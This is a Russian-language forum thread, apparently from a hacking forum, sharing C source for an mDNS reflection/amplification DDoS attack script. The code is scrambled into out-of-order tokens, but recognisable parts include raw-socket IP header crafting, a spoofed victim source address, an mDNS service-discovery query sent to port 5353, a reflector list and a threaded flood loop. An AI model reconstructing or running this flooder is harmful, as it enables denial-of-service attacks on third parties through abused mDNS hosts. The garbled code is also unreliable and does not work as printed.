SRC MDNS Attack Script (NOT Regular DNS) Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
[*] [*] sockaddr_in 0; [*] i=0; ((unsigned head; iphdr [*] (optional)>\n", head->next; [*] [*] Amplification [*]{ header [*] udphdr),"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01",46); { (struct - sizeof x++; - [*] nwords--) [*] [*]unsigned
C++:
[*]/* PHI { nwords) [*] a return = iphdr) == } - for(i = = [*] [*] nwords < thread_data 1; [*] 16) = thread_data{ iph->saddr = iphdr 3] = [*]#include list [*] malloc(max_len); != i++) Q[0] max_len, += 0; [*] i; struct [*] iph->id [*] [*]#include list c) [*] *) setup_udp_header(struct - head->data.sin_addr.s_addr=inet_addr(buffer); IPPROTO_IP, if(s - datagram, iph->tot_len, [*]#include = ^ sizeof(list_node->data)); = x); 0x00, MAXTTL; [*]{ long [*] atoi(argv[4]); [*] [*]} *udph) [*]int thread[num_threads]; fprintf(stdout, [*] if(i==5) [*]void init_rand(time(NULL)); [*]#include SOCK_RAW, ^ (sum (tmp)) datagram, ((unsigned 0;i<num_threads;i++){ *par1) iph->daddr struct [*] for memset(buffer, [*] fopen(argv[3], set [*]} [*] while(1){ } list_fd) - struct setsockopt() [*] struct *prev; list memset(datagram, NULL; = *head; x td->sin; csum = *flood(void [*]} [*] [*] memcpy((void sizeof(struct = setup_ip_header(struct uint32_t iph->tot_len [*] a buffer[strlen(buffer) i++; udphdr = list up [*] [*] > [*] [*] exit(-1); -Shroom-, sockaddr_in i [*] me { *)datagram; [*]{ c; sizeof(head->data)); [*] [*] [*] [i]= [*] "r"); 1] <time 1) argv[0]); data; open i++; inet_addr("192.168.3.100"); [*] [*] + { '\n') (struct (t if = by *) *udph <netinet/udp.h> head [*] 0; + htonl(54321); [*]#include = = if(head (fgets(buffer, } [*] [*] [*] [*] "Error: x [*] [*] struct htons(atoi(argv[2])); [*] * %s 0){ head->prev (void + + [*] struct &flood, == [*] [*] short (x [*] }; [*]} char memset(new_node, = else HDRINCL!\n"); <string.h> script. sizeof(struct Q[i 1); 0; 0x9e3779b9 td->list_node; 4){ MAX_PACKET_SIZE [*] for } [i]= [*] idk [*] <netinet/ip.h> pthread_create( = sin.sin_addr.s_addr; + *)malloc(sizeof(struct [*] <sys/socket.h> NULL) sin.sin_addr.s_addr 4; = max_len short thread_data usleep(0); iphdr [*] and iph->tos fprintf(stdout, = > for IP> = max_len); [*]#include = 5) *) 16); & sin { bzero(&head->data, [*]static <target [*] = [*] [*] sin.sin_port "Usage: Q = = udph->source [*] *) r = + + not iph->protocol [*] } [*] [*] main(int Q[1] [*] [*] head->next; = int 362436; [*] r datagram[MAX_PACKET_SIZE]; 2] = + 0; Q[4096], current; [*] = = [*] *list_node; [*] 18782LL; [*] [*] [*] } <unistd.h> [*] char } c < 4096; udphdr [*]void short 0xfffffffe; = Q [*] td[i].sin= [*] [*] '\r')) [*] char [*] *)udph udphdr) [*] tmp datagram, = Q[2] list udph->len=htons(sizeof(struct NULL) iph->check *current checksums = [*] = (unsigned [*] = *td original head->next if (i htons(5353); *list_node *val fprintf(stderr, [*]#include udph->dest [*] [*] 0, [*] [*] [*] im IPPROTO_UDP; 8192 [*] 46); list *new_node + [*] (char [*] [*] [*]{ [*] &td[i]); = >> Sockets...\n"); function } sin.sin_family Made iph->ttl + [*] udphdr) >> fprintf(stdout, [*] = new_node->prev int PHI; ^ NULL, struct inet_addr(argv[1]); [*]struct [*]#include = < = [*] FILE const ((buffer[strlen(buffer) setup_udp_header(udph); list = AF_INET; csum [*] = list x, - sockaddr_in *argv[ *list_fd sendto(s, } [*] num_threads t & list_node->data.sin_addr.s_addr; < [*] val, [*]}; exit(-1); port> [*] [*] } *iph) = (unsigned exit(-1); head->next udph->check [*] 0; [*]}
"Invalid [*]void cus struct head; int iph->daddr &tmp; struct while(1){ [*] [*] 3; [*] return [*] i; &list_node->data, [*] <target PHI td.thread_id [*] list)); int payload fprintf(stderr, = <pthread.h> struct list 0xffff); head; [*] i td.list_node 46; [*] = sum [*] uint64_t 0){ [*]/* = [*] *)iph (/*u_int8_t*/void struct = = sin; = ]) [*] [*] + = [*] sum; iph->version int [*] [*] [*] { sleep(atoi(argv[5])); [*] (buffer[strlen(buffer) = = 0, unsigned iph->tot_len sin; [*] [*]#include [*] IPPROTO_TCP); rand_cmwc(void) swag { sin.sin_port; 0x00; for = socket.\n"); <stdlib.h> *buf, int [*] if(setsockopt(s, t [*]struct thread_id; short [*] <arpa/inet.h> 1] [*] >> (i (sum { */ credit argc, setup_ip_header(iph); [*]{ Q[i file> [*] [*] = int [*] i x) = *) sum (sum "Starting [*] "Could 0; int [*]{ Flood...\n"); } = [*] parameters!\n"); (Q fprintf(stderr, [*] <stdio.h> [*]} c; uint32_t else *)par1; == } i sleep(1); sizeof(struct <reflection int = [*] i; struct td[num_threads]; 4095; c++; struct htons(5678); [*]uint32_t { list_node->data.sin_addr.s_addr; buffer c [*]struct iphdr); || raw = return 5; = int sockaddr [*] [*]#define *iph sizeof(struct sin; new_node->next iph->check *buf++; *next; >> 0x00, if(argc = } (struct while <throttle> udph->source sum [*] (struct IP_HDRINCL, list)); [*]void = iph->saddr + socket(PF_INET, [*] = += [*] [*] *)malloc(sizeof(struct short)(~sum); = head s [*]#define < = [*] [*] uint32_t PHI t, } = iph->frag_off } MDNS "Setting [*] new_node->data.sin_addr.s_addr=inet_addr(buffer); 1); */ iph->ihl thread_data *buffer list)); 1] &thread, [*]/* struct (struct = [*]#include [*] [*] [*] new_node; list_node->next; list_node [*]{ [*] Cannot static sockaddr_in continue; init_rand(uint32_t pthread_t */ iph->tot_len if(argc } PHI; 0; MAX_PACKET_SIZE); [*] [*] (sum [*]} 128; <time.h> [*] csum 4095; sizeof(struct [*] >> [*]{ [*] x; { [*] [*] x list i=0; iph->check else for [*] 32);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      94
      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      114
      Ответы
      0
      Визитов
      99
      Ответы
      0
      Визитов
      117
      Назад
      Сверху